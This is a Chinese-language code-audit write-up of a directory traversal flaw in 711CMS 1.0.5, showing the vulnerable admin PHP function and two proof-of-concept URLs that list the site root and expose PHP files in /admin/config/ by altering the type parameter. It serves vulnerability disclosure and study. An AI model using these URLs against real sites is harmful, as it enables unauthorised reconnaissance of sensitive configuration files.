【代码审计】711cms_V1.0.5 目录遍历漏洞分析

 

0x00 环境准备

711CMS官网: https://www.711cms.com/

网站源码版本:711CMS 1.0.5 正式版(发布时间:2018-01-20)

程序源码下载:https://www.711cms.com/versions/711cms_V1.0.5.zip

测试网站首页:

 【代码审计】711cms_V1.0.5 目录遍历漏洞分析_第1张图片

0x01 代码分析

1、漏洞文件位置:/admin/controllers/App.php  第323-393行:

  1. public function file() {  
  2.     $token = $this->input->get('token', true);  
  3.     $time = $this->input->get('time', true);  
  4.   
  5.     $folder = $this->input->get('folder',true);  
  6.     $folder = $folder ? $folder : '/';  
  7.     $type = $this->input->get('type', true);  
  8.     $folder = urldecode($folder);  
  9.     $arr_token = array(  
  10. 10.         'folder' => $folder,  
  11. 11.         'type' => $type,  
  12. 12.         'time' => $time  
  13. 13.     );  
  14. 14.     $private = md5($this->input->server('HTTP_HOST') . $this->_site['auth_code']);  
  15. 15.     $token2 = appToken($arr_token, $private);  
  16. 16.     if ($token2 != $token) {  
  17. 17.         $folder = '/';  
  18. 18.     }  
  19. 19.     if (strpos($folder, '..') !== false || strpos($folder, ':') !== false) {  
  20. 20.         $folder = '/';  
  21. 21.     }  
  22. 22.   
  23. 23.     $type = $type ? $type : 'apk|jpg|gif|png';  
  24. 24.     $this->_data['type'] = $type;  
  25. 25.   
  26. 26.     $arr_type = explode('|', $type);  
  27. 27.     $arr_type_num = count($arr_type);  
  28. 28.     if ($folder) {  
  29. 29.         $dir = root_path($folder);  
  30. 30.         $arr_data = array();  
  31. 31.         $arr_data['folders'] = array();  
  32. 32.         $arr_data['apks'] = array();  
  33. 33.         $arr_data['images'] = array();  
  34. 34.         $scan_result = scandir($dir);  
  35. 35.         foreach ($scan_result as $key => $value) {  
  36. 36.             if ($value == '.' || $value == '..') {  
  37. 37.                 continue;  
  38. 38.             }  
  39. 39.             if (is_dir($dir . $value)) {  
  40. 40.                 $arr_data['folders'][] = array(  
  41. 41.                     'folder' => $value,  
  42. 42.                     'size' => filesize($dir . $value) ? filesize($dir . $value) : 0,  
  43. 43.                     'date' => filemtime($dir . $value) ? filemtime($dir . $value) : time() - 3600 * 12  
  44. 44.                 );  
  45. 45.             } else {  
  46. 46.                 $type = explode('.', $value);  
  47. 47.                 $type = array_reverse($type);  
  48. 48.                 if (in_array($type[0], $arr_type) && $arr_type_num == 1) {  
  49. 49.                     $arr_data['apks'][] = array(  
  50. 50.                         'apk' => $value,  
  51. 51.                         'size' => filesize($dir . $value) ? filesize($dir . $value) : 0,  
  52. 52.                         'date' => filemtime($dir . $value) ? filemtime($dir . $value) : time() - 3600 * 12  
  53. 53.                     );  
  54. 54.                 }  
  55. 55.                 if (in_array($type[0], $arr_type) && $arr_type_num > 1) {  
  56. 56.                     $arr_data['images'][] = array(  
  57. 57.                         'image' => $value,  
  58. 58.                         'size' => filesize($dir . $value) ? filesize($dir . $value) : 0,  
  59. 59.                         'date' => filemtime($dir . $value) ? filemtime($dir . $value) : time() - 3600 * 12  
  60. 60.                     );  
  61. 61.                 }  
  62. 62.             }  
  63. 63.         }  
  64. 64.         $this->_data['file'] = $arr_data;  
  65. 65.         $this->_data['folder'] = $folder;  
  66. 66.         $this->_data['time'] = time();  
  67. 67.         $this->_data['private'] = $private;  
  68. 68.   
  69. 69.     }  
  70. 70.     $this->loadView('/App/file');  

71. }  

这段函数获取参数进行简单的处理,然后验证token,根据$folder的值进行列目录,然后再根据$type选择类型展示。参数在传递过程中未进行任何有效过滤,

导致程序在实现上存在目录遍历漏洞,攻击者可利用该漏洞获取敏感信息。

0x02 漏洞利用

1、登录后台,构造url,获取网站目录结构。

获取网站根目录Payload:

http://127.0.0.1/admin.php?c=App&m=file&folder=/&type=apk|jpg|gif|png

 【代码审计】711cms_V1.0.5 目录遍历漏洞分析_第2张图片

2、程序默认展示apk|jpg|gif|png四种类型的结果,我们可以通过改变$type的值来改变展示的类型。

http://127.0.0.1/admin.php?c=App&m=file&folder=/admin/config/&type=apk|jpg|gif|png|php

 【代码审计】711cms_V1.0.5 目录遍历漏洞分析_第3张图片

0x03 修复建议

1、正则判断用户输入的参数的格式,看输入的格式是否合法:这个方法的匹配最为准确和细致,但是有很大难度,需要大量时间配置规则。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

 

你可能感兴趣的:(【代码审计】711cms_V1.0.5 目录遍历漏洞分析)